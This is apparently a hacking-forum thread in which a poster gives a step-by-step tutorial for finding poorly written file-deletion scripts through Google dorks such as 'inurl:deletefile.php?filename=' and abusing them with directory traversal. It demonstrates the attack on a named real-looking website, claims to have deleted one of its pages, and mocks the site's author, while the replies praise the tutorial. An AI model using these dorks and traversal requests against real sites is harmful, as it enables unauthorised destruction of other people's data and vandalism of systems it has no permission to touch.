[bckslsh]

Step 1 - Find a poorly programmed website, most likely created by a 12 year old elementary-school-dropout, using dorks such as:

Code

inurl:deletefile.php
inurl:delete.php?filename=
inurl:deletefile.php?filename=
inurl:deletefile.php?file=

etc.

---

Step 2 - I have found my website that I am going to hax like a pro.

Code

http://www.doculand.net/htdocs/fileupload/deletefile.php?filename=

---

Step 3 - Basic directory transversal. Find the file that you want to delete, I'll use -

Code

http://www.doculand.net/services/index.html

It works right now.

Spoiler (Click to View)






























cough http://www.doculand.net/htdocs/fileuploa...index.html cough


























And now it doesn't.

Spoiler (Click to View)





How magical.

[Catzbow]

Amazing , very nice and interesting , thanks.

[soeasy]

Great tutorial Dan.I haven't seen anything like this before.😁

[X Makube]

Yeah really really nice tutorial...